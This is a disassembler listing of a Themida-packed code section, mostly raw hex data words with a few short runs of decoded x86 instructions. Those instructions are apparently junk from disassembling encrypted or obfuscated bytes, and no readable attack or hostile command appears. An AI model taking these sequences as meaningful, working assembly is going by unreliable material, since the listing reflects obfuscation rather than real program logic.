688F26E8h, 480A4D86h, 10DEC431h, 4B00F5DCh, 0FA00769Fh dd 1E5CB1Dh, 1C0FDE3h, 5BD907D2h, 80059E2Fh, 7D1E4328h dd 3E468CD4h, 0EF0058BAh, 4BECC59Dh, 14662F7Bh, 84A82651h dd 3F9880DCh, 7D872ED4h, 3728CFF8h, 43037826h, 0CF19659Dh dd 563642C0h, 8D870046h, 0B0F1623Eh, 59542E9Fh, 0B9692890h dd 36743948h, 17EE1020h, 2C64674Ah, 2F05F4A0h, 89F79FB4h dd 0B4007894h, 3D223CECh, 3214A07Ch, 39C024C2h, 0A8171864h dd 0C082A3F2h, 6978588h, 3A9F1A91h, 981248FDh, 0AB00CEEAh dd 0CAAF5903h, 59C1A46h, 8D8850BFh, 67F30DF8h, 0F64C6110h dd 0AB0D4A1h, 0BDEC58ECh, 0BF000499h, 0B19C7C46h, 0B738C38Ah dd 0D1C42FD5h, 301AE4E0h, 0CFF7817Dh, 34E8C0E1h, 0A7017B5Ch dd 0B4A913BDh, 0F098112Ah, 9577053h, 437E4914h, 984693CCh dd 0FCC8B151h, 1304988Fh, 470D11DCh, 83BB8330h, 0B1112F95h dd 0B624E97Ch, 3D300820h, 4B843B01h, 0C186B4B0h, 0B877EE9Ch dd 8803F7F2h, 0E6DC5499h, 1920000Eh, 0A210AE0Bh, 8C501CECh dd 0DC182EDCh, 11209751h, 0D737006Ah, 9E78BE86h, 0B17C8287h dd 0B70BD971h, 83D08DA6h, 86C52FFCh, 0E0974D91h, 0B1DC9C82h dd 0CA3B8C45h, 659C5442h, 2868C829h, 13BF1264h, 0DC204E3Eh dd 0BA68C1D2h, 20233Dh, 0E7EFDB48h, 1D74797Dh, 6E87B683h dd 0F3A607ADh, 32D40037h, 0B5028F80h, 789AA777h, 0B26461F5h dd 5F88EC4h, 96A09857h, 458D25Fh, 75F02464h, 0EEB54400h dd 6B902648h, 0F1BFAF0h, 12F83217h, 74E2E580h, 90E89D33h dd 0F83E962Ch, 0F8C9D49Bh, 112CDE5h, 7D5770BDh, 409AB49Fh dd 76F4BC8h, 0C84A64BAh, 60264062h, 808570h, 4CB848B6h dd 59522EEh, 0C8F83F26h, 9A8F4782h, 983CC638h, 2C0A474h dd 85B9AFB7h, 78493314h, 0F49421DBh, 0C33FDA41h, 1290A09Fh dd 1227333Ch, 0D7F08C74h, 0B0BBDC30h, 548DB0BAh, 0ECEE8E3h dd 0A0938F91h, 4E40ACACh, 78AF552Eh, 81267410h, 8BA2406Ch dd 0B01756A0h, 181DD555h, 0B816747Eh, 63189F58h, 707B7B8h dd 0BE8B7BA9h, 0B0CDC485h, 0A4A06840h, 1C814539h, 0D906F032h dd 88DE3C04h, 24389924h, 2D72406Eh, 28BA5B5Dh, 0C193DCE8h dd 3EB56F18h, 2B508869h, 0A249024Eh, 58486388h, 8090931Eh dd 0D937160Ch, 58A25106h, 0D1002425h, 2F51DEE6h, 0E892A819h dd 4DFA7500h, 359CB7DBh, 0F99D303Dh, 23C7DC11h, 5C3F40DDh dd 0B1D11034h, 0B0084C51h, 0C057719Fh, 6F124B68h, 8329DCE7h dd 0B060E422h, 0C915662Fh, 37007810h, 0F0EBD206h, 0FFEE5603h dd 96BF2F6Ah, 6C8A1220h, 79740180h, 14AC6Eh, 0FF3F630Bh dd 80CF8080h, 0D0B70629h, 84E781F0h, 67DCED11h, 71B3B090h dd 564500F6h, 7EEBE80Ch, 11F462D7h, 0C2896E02h, 0A01C502Fh dd 0BFB9984h, 29D8F1CEh, 82B203B8h, 4DB3B402h, 0E8685B8h dd 0DF00F892h, 0C0ADA2EBh, 1F898A87h, 3020580h, 0D43550DEh dd 38E107D3h, 0BA0840F6h, 0C29073E9h, 0A6000CF4h, 33948B3Bh dd 0FAF128CBh, 0F89104h, 305B6081h, 0E051370Eh, 41FEBF7h dd 42C9657Bh, 50780F1Fh, 0BF2AF400h, 7402DF77h, 0B0BC8424h dd 16B30F3Fh, 4CD8207h, 35041F3h, 768EC004h, 0B93EAD46h dd 9DD3161Eh, 2C045456h, 4088F137h, 12D59887h, 0E2F2305h dd 6A21BD85h, 28A3F355h, 0F3DC8F34h, 7F8510C0h, 4D50BAB6h dd 103C1CC7h, 0B95C3DC0h, 531E1158h, 78812118h, 68B90462h dd 0B602741Fh, 4084EA2Fh, 94A6CF60h, 9760ACD0h, 573401DFh dd 343F489Fh, 0EF00BB98h, 0FC94EEE9h, 252F8209h, 0D413FB70h dd 48E99AC2h, 0D3342834h, 0D73FCC01h, 77185B5h, 0A8141894h dd 8A05039Fh, 21C03469h, 19030318h, 0F3DB8BCDh, 89F027B6h dd 2C00C40Bh, 0B41E4FDAh, 2F43501h, 8206EAC2h, 0ECED7CCh dd 0C932D946h, 8C25C71Fh, 8D7F3B0Dh, 188F07C5h, 0F91F8288h dd 14464181h, 0C3E396EAh, 0FB025B80h, 51387BF0h, 825C8001h dd 77462EF3h, 0F7D2F872h, 252D3400h, 57545D01h, 2A4DE3BFh dd 30EA56D4h, 0D122925Ch, 0F43D81E4h, 951F1591h, 632341Bh dd 0BE562100h, 0C724726h, 0F919EA4Ah, 0F60E8288h, 7D57305Ah dd 0A250EE81h, 0ECF1D417h, 607438C0h, 21CE0C0Ah, 27C6F89h dd 8A3C4FCh, 4D819600h, 0DFF8620Ah, 0C74C71EAh, 733CB784h dd 6814F0B2h, 685905Fh, 3E6D695Dh, 6882FE22h, 1C0F0A1Bh dd 678EB98Ch, 0EAE3158Ah, 200165F6h, 52A0C881h, 0EBC8FE89h dd 1D8C005Ah, 0E38A5325h, 555C382h, 88060898h, 0C15D46C0h dd 5204EBh, 0C058E28Ah, 4C432F37h, 3E8823Ah, 0EA44956Eh dd 1B59E5D9h, 69FD48Bh, 0D909CC9Dh, 21E5EC8h, 0A95E5FF4h dd 0E3C212F0h, 0F8533008h, 0ED845B38h, 3D623290h, 0A4FA6C2h dd 5359001Fh, 294063BBh, 7385D65h, 351AFB00h, 44EA2E4Ah dd 310E597Dh, 60C15AF0h, 51D8F704h, 3CA778B5h, 0DD0607E5h dd 2C6D40EAh, 9E886028h, 6DC356F2h, 42E48A54h, 20A85EAh dd 14DC60FCh, 1D888E03h, 0C1B81000h, 0CD419369h, 0E04C8A18h dd 11D05A74h, 3635581h, 5B8BEA27h, 1B580A3Bh, 830C79F1h dd 0F5244375h, 601E307Eh, 0D88850A5h, 0F836CBE4h, 881008D2h dd 5425EA96h, 0AE3DF1Ch, 5391565Eh, 69588190h, 0EC7F8051h dd 0EA194860h, 0C42D4E57h, 0A694940h, 0C4B1D411h, 23EEA0Ch dd 893CC3FBh, 995903Bh, 1BD83424h, 0D050632h, 5EF845Dh dd 3500D75h, 0D807142Ah, 8A563CF9h, 40C682E6h, 0B6BA520Ah dd 8759CD60h, 0E924072Ch, 17FFE1BCh, 7334635Eh, 48B401Fh dd 0E20767A4h, 167DC281h, 0FAEA83C0h, 7F147F87h, 421C625Ch dd 0D709F817h, 2D022086h, 0D96107F8h, 5AD58818h, 638BECCCh dd 285F320Ch, 68D22433h, 9B14C99Ch, 77FF1280h, 59669D1Ch dd 1FC6D37Bh, 4AD69Ah, 0C15BD821h, 0C83108E8h, 9854523Fh dd 813C7B4Bh, 365F03EDh, 0F5010C8Ah, 880C5C2h, 74FF555Eh dd 5D04240Ch, 285C788Fh, 0FE6EC481h, 1959FE34h, 12570168h dd 54268289h, 8FEC8158h, 8C47A14h, 0D19209A8h, 22C8460Ah dd 51588318h, 7C12A3B9h, 0FFE9191Eh, 99311070h, 8B0633DCh dd 7A59B6D7h, 57986CE9h, 0DE0F684Ch, 0AA69F240h, 39822Bh dd 0AFA2FBB9h, 7DF901A3h, 51112A5Fh, 12EA82DCh, 154116Bh dd 0D7E9C440h, 5510C529h, 5DD72368h, 0D69F59BBh, 0E915C7CBh dd 2AC80AFh, 4840D1EAh, 67074066h, 1EB80A36h, 6937348Bh dd 329B608h, 3C8BFA01h, 6E404A14h, 5A94D8A9h, 16E83C75h dd 0C78D0BBh, 0FFB6BC35h, 7C123160h, 4E0C638Bh, 3ECF8385h dd 3265C8Ch, 5DAA0051h, 0DF3127FCh, 431C8B29h, 0E9F98984h dd 30ED286h, 5A205709h, 0C1A46F81h, 4065A4DCh, 210F84CEh dd 0C100047Dh, 0FBDEF09Ch, 0AB88A9E9h, 505804A6h, 507E7F68h dd 0C48134D4h, 3258360Ch, 13A6D412h, 0C9D988B1h, 0B7FD41CEh dd 0AF59A228h, 76C7C20h, 315C4C05h, 7813A212h, 84B1BECBh dd 0F657818Ch, 51274D5h, 2B6BC0DAh, 0E95612A8h, 29154EFDh dd 95440DD7h, 41FE0D51h, 0BA5A55C8h, 0E6BD066Ch, 2A5E381Ch dd 35402BEh, 77B45066h dd 58B0E588h ; --------------------------------------------------------------------------- loc_518B7C: ; CODE XREF: Themida_:00518BF7j xor dl, ch xchg eax, edx setalc test al, 65h push ebx push edx or [esi+24ADE935h], esi pusha pop ebp sub byte ptr [edi+3B9C4BA7h], 64h add [eax-41h], ecx inc eax or [eax-66h], bl das add [edi+ecx-41h], ebx enter 0FFFF8957h, 0E7h popa lock add [esi-17h], cl mov [eax+eax*8+0Ah], al xor eax, 6E61EA7h hlt ; --------------------------------------------------------------------------- dw 48BAh dd 662671EBh db 41h, 85h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esi, edx jge short loc_518C0F outsd jnp short loc_518BE4 xor [ebx+edi*2+94F2430h], eax jg short near ptr loc_518BCF+2 dec ecx push ecx loc_518BCF: ; CODE XREF: Themida_:00518BCBj test dword ptr [eax-167EA65Ch], 0F863860Ch db 67h std js short loc_518C55 sub edi, [esi] sub ecx, eax xchg eax, ebp cmp al, 0Dh loc_518BE4: ; CODE XREF: Themida_:00518BC2j cwde db 2Eh pop dx pop eax or [ebx], edx add [ebx], ecx push eax pop es cmp al, 4Eh adc al, dl popa sub edx, ecx nop jp short loc_518B7C or [edi+58h], bh paddq mm7, qword ptr [ebp-2E1C2265h] jmp near ptr 90FC2302h ; --------------------------------------------------------------------------- dd 0A3027389h db 0FDh, 0D9h, 0D5h ; --------------------------------------------------------------------------- loc_518C0F: ; CODE XREF: Themida_:00518BBFj or [esi-55h], edx inc byte ptr [ebx] mov ebp, 7C8662FAh push edx icebp cmp bh, ch cmpsb xor dh, bh wait add esp, [eax+10003C6h] retn ; --------------------------------------------------------------------------- dd 55D3F758h, 0E26DE8E9h, 0D110565Dh, 3F6E0B5h, 7EDC0DDh dd 63E7CD80h, 0F5B008E5h, 0EB482897h, 50DB1033h, 2D24C045h dd 0F2896F66h db 0E6h ; --------------------------------------------------------------------------- loc_518C55: ; CODE XREF: Themida_:00518BDBj daa dec eax push ds jbe short loc_518CB6 db 26h jns short near ptr loc_518CBA+2 adc [eax-62h], eax insd aas sbb [bx+49CAh], al push es shr edx, 0A0h leave test byte ptr [ebx-36h], 26h xor ebp, eax mov ebx, edx cmp al, 0A7h retf 68D0h ; --------------------------------------------------------------------------- db 28h, 81h, 35h dd 620CD591h, 0E18633C3h, 4ED0631h, 0F3A4755h, 0CC8B60Fh dd 8AA85051h, 96CDA611h, 1B216655h, 68004A10h, 929B5F20h dd 0E9750118h, 36E569ECh, 715F1300h, 8102115Ah db 0C3h, 0B9h ; --------------------------------------------------------------------------- loc_518CB6: ; CODE XREF: Themida_:00518C58j push esp adc eax, [ecx-7Ch] loc_518CBA: ; CODE XREF: Themida_:00518C5Aj mov esi, 843F8205h add eax, 0D8B326ADh add [eax+58h], ch sub [edi+27h], eax pop edi sub eax, 4D12045Dh dec ebx add eax, edi les eax, [esi+40h] out dx, al mov ebp, 2DC4E6Ah sbb [ecx+10D6EF5h], al out dx, al call far ptr 26E9h:18C2929Ch hlt ; --------------------------------------------------------------------------- db 8Ah dd 883C645Ch, 0E337B502h, 64008F85h, 3C79692Eh, 393F281h dd 0E9755305h, 68038FDEh, 0DB6C2FBAh, 0DD01D176h, 525A8650h dd 26397AB2h, 80107DFEh, 8F082444h, 7B7D7C73h, 1A721F30h dd 9001C580h, 66030719h, 4920AE68h, 0E8B0C2A0h, 4B59A2E9h dd 0D5B1447Eh, 0E0E5306Eh, 212AD069h, 0F690EAh, 0D44DEDE2h dd 0C283420Fh, 2E6017Ah, 0FF6FF80Bh, 422D0F89h, 61335DEBh dd 6B4319Ch, 81FC4A0Dh, 0A56018Ch, 25293919h, 0BE3F40F0h dd 3023772h, 89E9DAF7h, 90C8C63Eh, 213B4084h, 776CCA7Fh dd 2E57380Fh, 16E0306Ah, 246C04D6h, 824A1D15h, 472698D2h dd 9552EF6Fh, 108048A2h, 81122378h, 875923EEh, 0F45C7226h dd 0B69EE98Eh, 2DD06540h, 62476884h, 414F6A7Ah, 0ED90160Bh dd 0DE2D490Dh, 0CA56DD00h, 4976B845h, 0D51E04E4h, 52F21750h dd 0F9B659C1h, 6827675Ah, 0E9D03744h, 8C18B244h, 2CA392BAh dd 473B5456h, 6B267828h, 0CA373516h, 900C76D2h, 94373908h dd 0EC9D4D06h, 16CD0502h, 94E4695Fh, 0F1A9258h, 1D313411h dd 0CD933245h, 683DA148h, 3355E905h, 0B4C7C040h, 3C779F39h dd 0EF28F701h, 9E91508h, 0BB0CE4DAh, 6E70E86Bh, 5700F3ABh dd 0E2D1C209h, 0B11F5968h, 38AFA469h, 1D6D6381h, 8307E0C1h dd 15680606h, 0C029605Dh, 125B8BBh, 0CB815F00h, 5D31486Fh dd 4BDB24F7h, 66EF04D2h, 461E8132h, 0BD38A60Eh, 0BF408D0Ch dd 0BDA7FEFh, 0FD01CEDEh, 14A6C682h, 0C16A340Ch, 2C78329h dd 4F1C6057h, 102312D4h, 0D159976Dh, 2E8F548Bh, 448331C5h dd 955A0AA1h, 505C0D0Ah, 73E7302Bh, 0AC07443Ch, 0C02604C1h dd 91297002h, 49CEC056h, 1974097Ch, 45AB61E9h, 0D393AE9Bh dd 47E5D1B4h, 0D1548E55h, 2558E9E0h, 0B14B5B9Eh, 5D9C8431h dd 7446789h, 4076AD00h, 22D4Ah, 0F75AED49h, 0E53EE9D0h dd 14BC6691h, 81F4904Eh, 621306EBh, 1D264BBFh, 1B0A6C2h dd 93CB4EAh, 7435F111h, 0C31C808Dh, 10FD2893h, 0AC3B2A17h dd 21972F17h, 4025693h, 65097081h, 0CA9298FCh, 64ABBF12h dd 3CCEC8F9h, 0F1282881h, 0F595013h, 64DD4FF9h, 348FE8B9h dd 3871C137h, 0C0ED13DBh, 6048C947h, 0B6890E4Dh, 0E915B8A2h dd 491E1C18h, 4C100278h, 68B67A7h, 8240BE50h, 33130CBDh dd 0C346235Eh, 0FC367028h, 155DEF24h, 4B1FA03Eh, 5B5C4853h dd 0B1C2E4Ah, 1459E9F0h, 810C0192h, 0E348E0E7h, 0F0CFD867h dd 2EA01914h, 0BAF1449Fh, 0E8757D0Fh, 0D8E44641h, 4BC60ED3h dd 78353278h, 0CD5CD218h, 2D1C5EF0h, 1857012Ch, 4D119A00h dd 0F757B4h, 0BEF181D1h, 19B3991h, 0CFE9C812h, 6997485h dd 0DD60AEECh, 11D18017h, 0F10162F2h, 8A1C1F0h, 200EAC5Eh dd 0C84AA269h, 0CB92E8DCh, 6F874C59h, 0A0E1F7C4h, 0B4266811h dd 0BA60954Ah, 98E91674h, 1AE2793Bh, 86291847h, 68134958h dd 17314DAAh, 0B4FC09B1h, 63D19484h, 25547F46h, 2F40B41Bh dd 0B8E3F253h, 1056822Bh, 9942E906h, 30296E8h, 0EA80C0D8h dd 2E41E3D7h, 0FFC6332Eh, 3FF6CE4Eh, 8AF9DECAh, 0C875E05h dd 0F8F798CCh, 0FD232EE9h, 87B7816Dh, 0CC04EFC0h, 0FE1D03E7h dd 0BE5C80C7h, 1EF8F7DCh, 5A6E5BFAh, 0CED1280Fh, 0C45AAEC1h dd 1E8159C8h, 8C058E06h, 1EBFDAEh, 3C8FC280h, 197C4BF2h dd 89B3166Bh, 20817582h, 95220D39h, 0D7F7184Bh, 0E9558AC1h dd 0A2FE9337h, 8105E390h, 653C09EBh, 710037BCh, 6DAC0FC4h dd 509066B8h, 0A05B0881h, 5CBB9F1Eh, 9B89A2A5h, 0CC95A8CEh dd 9017C489h, 0C4FABDA2h, 0C4E7891Ah, 0EFC93232h, 0B23C8710h dd 0AE5CD4ECh, 2D664078h, 945ED60Eh, 0A170A049h, 9150414Eh dd 64C50800h, 58C22900h, 1737F281h, 45567A17h, 71552555h dd 65ACA3h, 0B904C683h, 0BE0F0928h, 62168D02h, 71F09372h dd 0F750FC0Ch, 134ACDFh, 1AF038Eh, 28875FF8h, 0E8C18198h dd 71D2310Bh, 0E1614E30h, 0D832BB53h, 5AC1269Ah, 529B591Fh dd 0CD48740h, 426340ABh, 5B183C03h, 3A5FFB01h, 1E0C872Ah dd 81120934h, 7E6EE305h, 0DE141977h, 115601C8h, 0B3E9D901h dd 0D150F23Ch, 3946B00Dh, 4E4C5851h, 0A94B5988h, 41892ECh dd 0EE825482h, 0A5C112C6h, 58D8265Bh, 8DDBC4D4h, 5A2600A2h dd 1312CE24h, 8A0C0161h, 3476E2E9h, 2117986Bh, 0A60C2D5Ch dd 90E5598Bh, 0BB96B133h, 5E812C40h, 0C119ACh, 7F3E581h dd 45902FD3h, 73FBC200h, 0E9EB29DCh, 37455C15h, 0CDA109DEh dd 655121A2h, 0EEBEA82Ch, 2AE02540h, 0F1F3DB9Bh, 3C59CDA9h dd 0BA52A096h, 2C360145h, 8BD0014Dh, 0E9114C14h, 6721E824h dd 0D036F281h, 2CBE0351h, 89E1EA9Ah, 9C288D11h, 0D7EE8A40h dd 4A186363h, 527233BEh, 0B206C626h, 6A3196B3h, 963A0D06h dd 0DDCC91FEh, 3CBF35CCh, 8A3D8A0Ch, 7A1AF2A8h, 0BADF3647h dd 459A4950h, 0FF195975h, 4142BA73h, 5B43E91Bh, 0C579A269h dd 41B4A8BAh, 60973573h, 0BDB13B8Bh, 21685283h, 9C1DDA76h dd 3C0522ABh, 0BC45C500h, 0E889F02Bh, 0C6012C5Dh, 8719A0D5h dd 0A0E98493h, 85FE8983h, 17D96830h, 0D9867D51h, 841583C4h dd 84D12542h, 0B04C4DE3h, 3D51200Dh, 5243E41h, 5CA2FE5Ch dd 0AE80FD46h, 0C123114Ch, 4D02ED1Dh, 12F8E514h, 0AB37359Dh dd 444C782h, 0D328CC8Fh, 29EE51FBh, 106E2621h, 5F27DB39h dd 0E8E56222h, 5257110Ch, 0B8495F54h, 24BA1DDh, 6AF824h dd 0B342EDBFh, 0E7C10F0Ch, 90470702h, 3E790083h, 0B8501237h dd 0B11E333Ah, 67412541h, 0BAE91B3Dh, 0CE17F739h, 3F410159h dd 0F8286640h, 0F2BA251Dh, 0C92DF802h, 60045B73h, 125AC567h dd 140F746Eh, 4A1686EBh, 0EA55876Dh, 121C3408h, 89979014h dd 2AFEE9E6h, 0C1F3F1ACh, 0F5ED802Bh, 0ECB62CA5h, 985DF889h dd 0FEFB068Bh, 0A6094594h, 8BF878A0h, 8B24CB3Ch, 0A7ECE9F5h dd 20766827h, 0CC54550Ah, 0B12694F8h, 33CB000Dh, 0F78171CAh dd 28160C71h, 0B5104F0Eh, 783F00B2h, 0FE898AF8h, 0C6E9165Fh dd 3039898Dh, 0F015906h, 99BD7023h, 0F0804415h, 83616EEDh dd 0DD482947h, 365E33AFh, 0BEBA4858h, 3BA9518Fh, 0EAD16C23h dd 840FC2B0h, 0A27E2925h, 93E827Dh, 0A8E2DB8Eh, 0ADE193C7h dd 554534DEh, 3A06E3A0h, 0BD0EF407h, 41A1A5F0h, 2538C529h dd 53C0BECEh, 73E966AAh, 2D04BCBAh, 40A95D03h, 3F84DB94h dd 0F329B1D0h, 0C7DE7231h, 0F3505B09h, 1E4B74FBh, 0E14CB85Eh dd 880C1349h, 31811F21h, 0E7334A20h, 0D0961989h, 323C30ADh dd 71327C63h, 0F03419D2h, 48267355h, 972A4473h, 1468769Bh dd 0C10C1A4Eh, 14509474h, 2603BF4Ah, 436C0150h, 0A5E30FE9h dd 3F3B221Ah, 7A2C4E4h, 738A7B50h, 0A6A5CF01h, 5C7FCC4Ch dd 0FE46825h, 252FE4A3h, 2D7E1253h, 2352068h, 9C03E988h dd 0EB8007F0h, 0D08F85B2h, 3B90B875h, 2D374CFEh, 7DF20B8Ch dd 0A9DBA953h, 0E9553811h, 0C59699h, 16060559h, 0B5920E01h dd 0D5E90780h, 24C10F49h, 6B007BC6h, 5508191Dh, 0EEBE0056h dd 0BD5FA952h, 165FCD02h, 0E55ECD09h, 28BA1C6Fh, 0CFEA0169h dd 0E93CDD63h, 2D023C84h, 0A8C82805h, 0E950C3AEh, 833140C1h dd 0B70D16DEh, 0A128103Dh, 8004EDA7h, 80D5F658h, 778691C5h dd 8D46FE5h, 0A42AA3C4h, 62E1A289h, 36207DD1h, 44681367h dd 0CC9AC977h, 47A805E0h, 4BB18ACCh, 0C372FBCh, 7B82F6Fh dd 50650974h, 7ABB012Dh dd 20932134h, 315C1A9Bh, 9903D082h, 5C0271D4h, 0F9DF8196h dd 6A77E91Dh, 62A00C2Ch, 4E55B137h, 746A4991h, 0D30FF6C3h dd 366DA88h, 27D2B753h, 0E513E2BEh, 889DC09Bh, 0C4A8B47h dd 0E90910DFh, 0E56403B3h, 0BC2A5C60h, 0B6EFB963h, 0CD310D19h dd 21695C4Ch, 0C173AA98h, 2571074Ch, 3EFF19E5h, 8B60A354h dd 5CCE6859h, 0E9C4C807h, 40B4E135h, 184E37CBh, 3124617Bh dd 75A8CAF7h, 502B6817h, 5C8D98Ch, 0E970320Fh, 79D8E1C0h dd 0A9CDD7F8h, 0DD5E3020h, 872A8C67h, 0C1375A0Ch, 0E394BCE2h dd 9691EC14h, 0F39A0D92h, 2561601Eh, 0E7803DD6h, 2D087904h dd 910613Ch, 0F0BE80E0h, 0B98D2DC5h, 0BA812434h, 5266019Bh dd 2C92B050h, 0B101F1F0h, 0C00BF75Fh, 4019EC30h, 772BFF2Fh dd 5812A828h, 0C02C2E69h, 2AB468C2h, 0D404759h, 41745h dd 26F38143h, 0F749D329h, 23EBE0E7h, 198B201Fh, 0E92CB83h dd 28C62Eh, 0B8BE7FB2h, 0E95BD901h, 0CCCB8633h, 0E886054Bh dd 0F240CD4Fh, 3300929Bh, 7DB1B3Bh, 8EE0FC1h, 0A715B8E9h dd 4F58CD03h, 40D90F7Bh, 0EF398BF4h, 2521055Dh, 0FB53815Eh dd 0E3E42B5Eh, 29E37CEAh, 0B2C402C3h, 57593050h, 0E9513C71h dd 0B76335CDh, 0CA0F7209h, 0E182B40Dh, 0F539816Dh, 40047391h dd 0AAE69898h, 0B3005350h, 5BDC885Eh, 0F47B551h, 0F659EC08h dd 6E4C020h, 1C01B652h, 805AF428h, 0E1D8DBC4h, 2CCFF58h dd 75D175F6h, 0C1FE1CE9h, 2C208580h, 16278443h, 0B1A806D1h dd 3092EA4h, 595279E9h, 48551E7Fh, 0AD127D14h, 3B844212h dd 1FDD6EF0h, 12193A5Bh, 0D9305668h, 520F8161h, 0EAC060B2h dd 0F9A4CD41h, 35F1438Eh, 60B65547h, 653AAE1h, 0C105C8B8h dd 96FBEFDAh, 756FA602h, 99A64179h, 1B54374h, 4EDC032h dd 3012F580h, 8EA05758h, 0CD4CFE0Fh, 66B35E6h, 0E0E65881h dd 69A70A5h, 33903871h, 78253125h, 561700C7h, 555C9CCBh dd 25311497h, 6C00FAE9h, 5A1BB668h, 988B4C25h, 944ED9BDh dd 78BB691Fh, 0E9546E05h, 31F41C85h, 6821F95Ah, 0A02850ECh dd 3DD3EB54h, 6BBEFB55h, 5BC11FD8h, 0BFDA2958h, 0D99D939Dh dd 8C782623h, 74D669BCh, 51B1F217h, 949268D6h, 0E95104BBh dd 22B35F75h, 4012852Ch, 80CFFEDFh, 601EF30h, 2DF82832h dd 0BE0015E9h, 88DAB450h, 1B209FB0h, 0B55E5882h, 94997F27h dd 35FCBA56h, 3D03B2DDh, 0AFC9FE06h, 8716B7BEh, 35839C26h dd 9710D101h, 0FB1682DFh, 0BF1085ACh, 0B5CD0601h, 5FFD31CFh dd 6420EBEDh, 24DEEDh, 0F681DEF7h, 0C724B543h, 0AC120B26h dd 0F612E585h, 433DA86Dh, 0FA611D4Eh, 0C67D224Bh, 1302A3B1h dd 0F2D4BDE9h, 4290B288h, 1E1C2C77h, 0CE578B03h, 0EC4F5Fh dd 58E230E9h, 0C90ECA80h, 0BDFEEAD0h, 88AEF2C0h, 5B5FE9D5h dd 1D33413Ah, 2B71B633h, 0EB4B640Fh, 7AD562B4h, 0C9E5B170h dd 2EB4E849h, 0B25F8109h, 904FF05Ah, 88ED9157h, 56F7EE4h dd 75CC7C85h, 52D02588h, 0C59F78E5h, 8259EE89h, 0D40416Eh dd 298A41ACh, 52570044h, 4E170068h, 815A22B4h, 301D87F2h dd 0CA8173D0h, 60AB10CDh, 7C141886h, 0A4203E1Ch, 0CC80096Bh dd 5C8366D6h, 0E5BF305Ch, 5ABAF00Fh, 0A2C62924h, 5703C08h dd 0CD041D68h, 69E6CD0Ch, 5DC58545h, 16B601D8h, 50E759h dd 9F39371Eh, 0C124450Ah, 0FC084EEDh, 665B13F3h, 9AB00D1Dh dd 7EBFD940h, 6AAE1228h, 0D6DE0489h, 0B4FAF46Dh, 22040E01h dd 8105EAC1h, 0A8B290CFh, 0D68905DAh, 0F70F73E9h, 41444B41h dd 0B4CC8AC1h, 92D54808h, 6F2B184h, 400E97B5h, 0BB0E2CDAh dd 9304D828h, 17589108h, 3E0E0366h, 0AEB7C530h, 2BE9E803h dd 0C3805D02h, 65D98846h, 220A67Ch, 0DC7AE9FFh, 5165D45Eh dd 2E99FE84h, 0BF890E5Dh, 0BA96147Bh, 82EADC20h, 0F9D5E278h dd 504C0879h, 57AB4827h, 692609BFh, 80DA613Dh, 77740A30h dd 26759EF5h, 9F2A3Ch, 0C98F33E2h, 5D4CEE01h, 2B720B03h dd 0B8BE00A4h, 12168D6h, 1AEA053Dh, 0D42D3782h, 2303FB58h dd 8FE9D8F7h, 0BD58032Ch, 4F1163C8h, 6141560Ch, 94F79C26h dd 9D581B27h, 770828C9h, 0AB4B7AD3h, 219A1784h, 9985295Dh dd 4ADAA33Fh, 93C29BC7h, 887B5446h, 291615B5h, 0DC3DDC0h dd 59C02E11h, 1DD7101Eh, 0C8CDE2D1h, 0E60B2A2Dh, 25D07670h dd 36C566D5h, 620BB68h, 0E9FA2905h, 0C3E43474h, 58F14095h dd 0C39D6112h, 26C25509h, 7AC2D311h, 15B76F9Ch, 300BB2EDh dd 5F40E30Fh, 3D262A68h, 0A3DA5282h, 6BC9CB9Fh, 600B866h dd 8135C611h, 255CC3CEh, 0F60732EDh, 0F166543Ch, 0F4FA0014h dd 5115DD61h, 4BC2F001h, 0E91654CFh, 0C87984F1h, 52015DD2h dd 660D6853h, 5281092Fh, 942AA5EBh, 9CBD405Eh, 551464C4h dd 0B4B35A53h, 502DBAECh, 0D0B5F51Bh, 8710B6A0h, 5581A14h dd 4FE91606h, 19E15D53h, 0BEC0A36Ch, 42E73C05h, 69A8E916h dd 0D152F263h, 6181567Fh, 300D5DBDh, 0E65700Ah, 137C57E8h dd 0DE948F9Dh, 32CCF5C1h, 2B1BA8h, 0D0DA5363h, 0E80A01F9h dd 8F02055Dh, 0C3590E70h, 3E5C016h, 36EECBC1h, 0C59F5D04h dd 0F8D33DE9h, 3DC7DCADh, 0D8293041h, 0F420B08Bh, 0FD26F430h dd 0F149399Ch, 924E6AD8h, 90270450h, 7C810C1h, 198117Ah dd 8352C312h, 88308E80h, 1FC0BA08h, 0D20692F5h, 48F6EAh dd 4311DDCAh, 402FE970h, 0BBA0091Fh, 4F09152Dh, 0C10126FDh dd 433848C9h, 9CF4BB76h, 644B6462h, 86698354h, 0E238D951h dd 0F0FD85C3h, 72FE551Bh, 0B89774E3h, 8A51391h, 0E9042FFBh dd 0F5CC7EB0h, 3A503F3h, 53573862h, 16CFE001h, 68E94354h dd 34877564h, 800647F9h, 0C87E71C4h, 302A2890h, 36905149h dd 3C473201h, 0D0F7925Dh, 0CFE484CEh, 0A2C5942h, 5AA00E6Bh dd 5C583E68h, 0A1B5C1F1h, 31BFD7E9h, 2F22B895h, 97F57378h dd 4D258238h, 4256B225h, 9070902h, 0E337F86Ah, 8A5EF548h dd 5AD5484Eh, 0CD445F5Dh, 1023267h, 4D715EF3h, 6CD25C9Fh dd 2DBAE241h, 70303625h, 5FBF02CAh, 0DAF7290Eh, 7D05F77Ch dd 0C18016F2h, 58491CA7h, 33FCA41h, 7CE904FCh, 0EC2144DCh dd 5F31102Eh, 0A980355Bh, 0B8BAD887h, 182913A3h, 2578A60Ch dd 5546021h, 0B7E16AEh, 2D31003Ch, 0B14D98B7h, 9A01D490h dd 0E90F935Eh, 4334D4EDh, 0BBD0D5E0h, 5BDF290Fh, 0F487F94Dh dd 1BD346F6h, 0D9AAE104h, 8A27C9F9h, 0F289CD09h, 6153EA6Ah dd 0D7B01A12h, 2568175Ch, 0E2823720h, 4DC81665h, 0D3E4E288h dd 25C58DF4h, 0E0C0555Ah, 5B3E052Eh, 0C149282Ah, 0A603E22Ah dd 0B1D2F728h, 0AFACD3Eh, 19D589F5h, 57C961E9h, 5F220422h dd 4E6DE910h, 658486Ch, 145ECFA0h, 29F0510Bh, 0FBFA85D7h dd 0E916ABF6h, 0B8F0C0C9h, 5926658Fh, 250A392Eh, 0EB809868h dd 6FB52D5Dh, 492B4CE5h, 14070528h, 8FB9515Bh, 3153880Bh dd 0E627DD58h, 0B272EEEEh, 0D21D1432h, 8004E118h, 80738266h dd 851309EEh, 1825725Dh, 0EF3351D9h, 483B7F11h, 579F6716h dd 0B8943033h, 6C300711h, 6EC8602h, 167B822h, 